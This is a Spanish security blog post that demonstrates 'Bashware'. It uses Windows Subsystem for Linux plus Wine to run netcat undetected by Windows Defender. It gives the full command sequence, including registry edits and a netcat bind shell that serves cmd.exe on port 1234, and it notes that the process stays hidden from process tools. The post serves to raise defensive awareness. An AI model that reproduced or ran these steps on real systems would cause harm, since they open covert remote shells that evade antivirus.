BASHWARE, el malware de última generación

Publicada en Publicada en Malware

Hola a tod@s !!

Lo primero, me gustaría dar las gracias al equipo de Follow the White Rabbit, que me han permitido publicar este artículo en el blog.

En este primer artículo, quiero hablar del conocido por algunos, malware de última generación, el “Bashware”. Como muchos todavía no habréis oído hablar de él, o simplemente no habéis tenido la oportunidad de estudiarlo, me gustaría tratar este tema con una visión completa, desde un poco de historia, la explicación de cómo funciona y una demostración. He de comentar, que la idea de realizar esta PoC, fue provocada por una de las ponencias en la Rooted2018, por parte del equipo de CheckPoint. En ella, se hablaba precisamente del Bashware, pero sin especificar demasiado el procedimiento. Por esta razón quise probarlo por mí mismo. Sin más, comienzo.

Hace un tiempo, Microsoft publicó en versión Beta, la característica Windows Subsystem for Linux para Windows 10. Esta característica permite, entre otras cosas, ejecutar comandos y aplicaciones Linux directamente desde Windows 10. Esta funcionalidad dejó de estar en versión beta a finales de Julio de 2017.

WSL es una colección de componentes que permiten ejecutar binarios ELF64 nativos de Linux en Windows. Contiene tanto el modo de usuario como los componentes del modo kernel. Está compuesto principalmente de:

  • Servicio de administrador de sesión en modo de usuario que maneja el ciclo de vida de la instancia de Linux.

  • Controladores de proveedor de Pico (lxss.sys, lxcore.sys) que emulan un kernel de Linux traduciendo syscalls de Linux.

  • Procesos Pico que alojan el modo de usuario no modificado Linux (por ejemplo, /bin/bash).

Es en el espacio entre los binarios de Linux del modo de usuario y los componentes del kernel de Windows donde ocurre la magia. Al colocar binarios de Linux sin modificar en los PICO Process, permitimos que las llamadas al sistema Linux se dirijan al kernel de Windows. Los controladores lxss.sys y lxcore.sys traducen las llamadas del sistema Linux a las API de NT y emulan el kernel de Linux, como se puede ver en la siguiente imagen.

No quiero entrar en mucho más detalle técnico sobre WSL, porque hay multitud de artículos por la red hablando de este tema. Lo único que quiero remarcar, es que mediante el WSL podemos ejecutar binarios ELF de Linux en Windows. Esto hace posible que los antivirus de Windows no lo detecten, ya que estos binarios no están dentro de sus firmas.

Una vez explicado esto, os estaréis preguntando, como se puede habilitar esta funcionalidad y comenzar a trabajar con ella. Muy bien, pues al lío…

1. Habilitar WSL

Lo primero que hay que hacer es habilitar el WSL. Para realizarlo mediante línea de comando, hay que ejecutar el siguiente comando:

dism /Online /Enable-Feature /All /FeatureName:Microsoft-Windows-Subsystem-Linux /NoRestart

O bien, utilizando PowerShell:

Enable-WindowsOptionalFeature -O -F Microsoft-Windows-Subsystem-Linux

2. Habilitar Developer Mode

En realidad, esto es opcional. Cuando el WSL estaba en versión Beta, era necesario, ya que si no ciertos comandos fallaban. Actualmente, ya no es necesario, como se puede ver en el siguiente enlace:

https://blogs.msdn.microsoft.com/commandline/2017/06/08/developer-mode-no-longer-required-for-windows-subsystem-for-linux/

En mi caso, y solo basándome en un “por si acaso”, lo he habilitado. Para realizarlo, hay que ir a las opciones del sistema, elegir “Update and Security” y después hay que hacer clic en “For developers”.

También se puede realizar un script para habilitar el “Developer mode”, añadiendo las siguientes entradas de registro:

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock" /v AllowAllTrustedApps /t REG_DWORD /d 1 /f

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock" /v AllowDevelopmentWithoutDevLicense /t REG_DWORD /d 0 /f

3. Instalar WSL y todos los componentes necesarios

En este paso se realiza la instalación del sistema WSL y todos los componentes de Linux necesarios. Para realizar esto, tenemos varias opciones. Se puede hacer a través de las opciones de añadir o quitar características de Windows, en el panel de control. Casi al final del todo, aparecerá La opción “Windows Subsystem for Linux”.

O bien mediante la ejecución del siguiente comando:

lxrun /install /y

Una vez realizado todo esto, será necesario descargar del Store de Microsoft la versión de Linux que queramos utilizar en el WSL. En mi caso, y es la que os recomiendo, utilicé Ubuntu.

Cuando haya terminado de instalar el sistema Linux elegido, hay que hacer clic en “Launch”, para comenzar a utilizar nuestro nuevo WSL. Lo primero nos preguntará acerca del nombre de usuario que queremos utilizar y su contraseña.

Ahora podéis cerrar todo, o continuar utilizando la consola abierta.

Cuando hemos llegado a este punto, tenemos el WSL completamente instalado y funcionando. Bueno, antes de asegurar esto, habrá que probarlo, ¿no? Para poder probarlo, abro una línea de comandos y ejecuto el comando “bash”. Si todo va bien, debería aparecer lo siguiente o algo similar.

Hasta aquí todo normal. Tenemos una nueva funcionalidad y aparentemente muy útil. Aquí que cada uno le de la imaginación que crea oportuna.

4. Instalación de Wine

Imagino que muchos de vosotros conoceréis perfectamente la aplicación Wine en Linux y sus casos de uso. No quiero entrar en mucho detalle de para qué sirve esta aplicación, más allá de que Wine nos permite ejecutar software de Windows en otros sistemas operativos. Es decir, Wine nos permite ejecutar e instalar aplicaciones desde Linux, como si estuviésemos en Windows.

Existen varias versiones de Wine en Internet. Mi mejor experiencia ha sido utilizando la versión 2.0, con lo que os aconsejo, que al menos para vuestra primera PoC, utilicéis esta versión.

Para realizar la instalación, hay que ejecutar los siguientes comandos. Acordaros que se deben ejecutar desde nuestro WSL.

dpkg --add-architecture i386

sudo add-apt-repository ppa:ricotz/unstable

sudo apt update

sudo apt install wine-stable

5. Ejecución desde Windows

Es el momento de comenzar con la PoC, donde veremos el verdadero potencial de este WSL y su integración con Windows.

La mayoría de los antivirus en Windows, reconocen o deberían reconocer Netcat como una herramienta “dudosa”, ya que se suele utilizar mucho para fines “dudosos”, ya me entendéis.

Para ver cómo afecta a nuestro antivirus, que en mi caso es Windows Defender, ejecuto el siguiente comando en línea de comandos de Windows:

nc64.exe -lvp 1234

Como se puede ver en el pantallazo anterior, Windows Defender nos avisa de que ha bloqueado la aplicación nc64.exe.

Además, si nos vamos a la consola de Firewall de Windows, podemos ver como se han agregado las excepciones de denegación para NetCat.

Ahora vamos a ejecutar el siguiente comando, que básicamente es el mismo pero ejecutado desde WSL y llamando a Wine.

wine64 nc64.exe -e cmd.exe -lvp 1234

Como se puede ver en el pantallazo, ahora no ha avisado Windows Defender del uso de NetCat y por tanto está ejecutándose y a la espera de que alguien se conecte a este puerto.

Desde otro PC con Windows 10, vamos a intentar conectarnos a esta sesión al puerto 1234. Para esto, ejecutamos el siguiente comando:

nc64.exe 192.168.0.5 1234

Tal y como se aprecia, hemos podido conectarnos !!!

Después de conseguir esto, he querido comprobar manualmente, si Windows es capaz de ver que se está ejecutando NetCat.

Ni rastro en el administrador de tareas. Vamos a ver el process explorer.

Pues tampoco ni rastro. Tan solo aparecen varios procesos arrancados de Wine64, pero ni Windows Defender, y creo que ningún otro lo reconocería como aplicación peligrosa.

Conclusiones y Opiniones

Después de haber analizado en conciencia este tema, y de ver que absolutamente todo el proceso se puede automatizar mediante un script, aplicación, malware, etc, veo tremendamente peligrosa esta funcionalidad.

Se me ocurren varias funcionalidades que se le podrían apropiar, como, por ejemplo, descargar y ejecutar cualquier tipo de malware, o simplemente tener acceso al sistema Windows desde una consola Linux, ejecutando cualquier comando o aplicación sin ser detectado. Esto es así, porque las firmas de antivirus no son capaces de detectar los binarios ELF de Linux. Al menos, a día de hoy.

Tan solo saco una pequeña pega. Si realizamos una aplicación que automatice todo el proceso de habilitar, instalar y configurar WSL, nos haría falta permiso de administrador local. Aunque esto es una pequeña pega, ya que como bien sabéis, existen bastantes métodos para conseguir esto.

Quiero lanzaros una pregunta, ¿Usáis el WSL? 😊

Hasta aquí, mi primer post en Follow the White Rabbit. Espero que os haya gustado y, sobre todo, haber podido compartir y aprender con vosotros con el fin de que podáis seguir investigando este tema y compartirlo con nosotros.

Un saludo !!

Colaborador: Raúl Beamud, (@raulbeamud)

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *